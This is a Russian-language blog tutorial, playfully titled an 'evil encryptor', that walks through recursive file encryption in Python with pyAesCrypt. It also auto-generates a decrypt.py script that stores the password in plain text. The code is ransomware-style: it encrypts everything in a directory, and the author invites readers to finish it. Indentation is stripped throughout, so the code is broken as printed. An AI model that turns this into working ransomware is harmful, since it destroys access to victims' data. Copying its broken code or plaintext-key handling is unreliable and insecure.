Злой шифровальщик. Шифруем все алгоритмов AES в Python.

Размышляя о шифровании после статьи о чате, я наткнулся на очень простую и удобную библиотеку pyAesCrypt . Она использует симметричный алгоритм шифрования AES256 -CBC и очень проста в использовании для шифрования файлов. Вы также можете выполнить шифрование/расшифровку в памяти (используя BytesIO) что может пригодиться. Правда я еще не разобрался с этим.

Давайте теперь просто опробуем ее и зашифруем все нафиг ). Вот простой пример зашифровки файла:

import os
def crypt(dir):
import pyAesCrypt
print('-----------------------------------')
password = input('Enter key: ') # Вводим ключ шифрования
bufferSize = 512*1024 #Размер буфера 512 килобайт, не нужно его делать очень большим
pyAesCrypt.encryptFile(str(dir),str(dir)+'.aes',password, bufferSize) # Собственно сама функция шифрования, создаст зашифрованный файл с расширение .aes
print('[Crypted] '+str(dir)+'.aes')
dir = input('Enter file name: ') # Вводим имя файла
crypt(dir)

Вот такой в итоге получился зашифрованный файл

Скучно ? Давайте добавим в наш код парсера директорий и файлов. Зашифруем все в указанной директории.

def parsdir(dir):
import os
for name in os.listdir(dir):
if os.path.isfile(os.path.join(dir,name)):
print ('file: '+os.path.join(dir,name))
else :
if os.path.isdir(os.path.join(dir,name)) :
parsdir(os.path.join(dir,name))
  • os.path.isfile(path) — является ли путь файлом.
  • os.path.isdir(path) — является ли путь директорией.
  • os.path.join(path1[, path2[, …]]) — соединяет пути с учётом особенностей операционной системы.
  • os.listdir(path=».») — список файлов и директорий в папке.

Расшифровка.

Конечно любое шифрование имеет смысл если можно расшифровать. Сделать это в этой библиотеке также просто как и зашифровать:

 pyAesCrypt.decryptFile("data.txt.aes","data.txt",password,bufferSize) 

Вообще мы сделаем все интересней. При шифрование файлов в каталоге будет создаваться автоматически файл Питона для расшифровки всех файлов. Нам останется его только запустить.

with open((dir+'/decrypt.py'),'w') as crypt: #Создаем файл 
crypt.write(''' # Записываем в него текст
import os
def decrypt (file):
import pyAesCrypt
print ('--------------------------')
password = "'''+str(password)+'''" #Вставка значения переменной
bufferSize = 512*1024
pyAesCrypt.decryptFile(str(file),str(os.path.splitext(file)[0]),password,bufferSize)
print('[decryptFile]'+str(os.path.splitext(file)[0]))
os.remove(file)
def walk(dir):
for name in os.listdir(dir):
#print (name)
if os.path.isfile(os.path.join(dir,name)):
print ('file: '+os.path.join(dir,name))
# crypt (os.path.join(dir,name))
try:decrypt(os.path.join(dir,name))
except: pass
else :
if os.path.isdir(os.path.join(dir,name)) :
walk(os.path.join(dir,name))
walk("'''+str(dir)+'''")
''')

Ну вот собственно и все. Дальше я думаю вы лучше меня справитесь.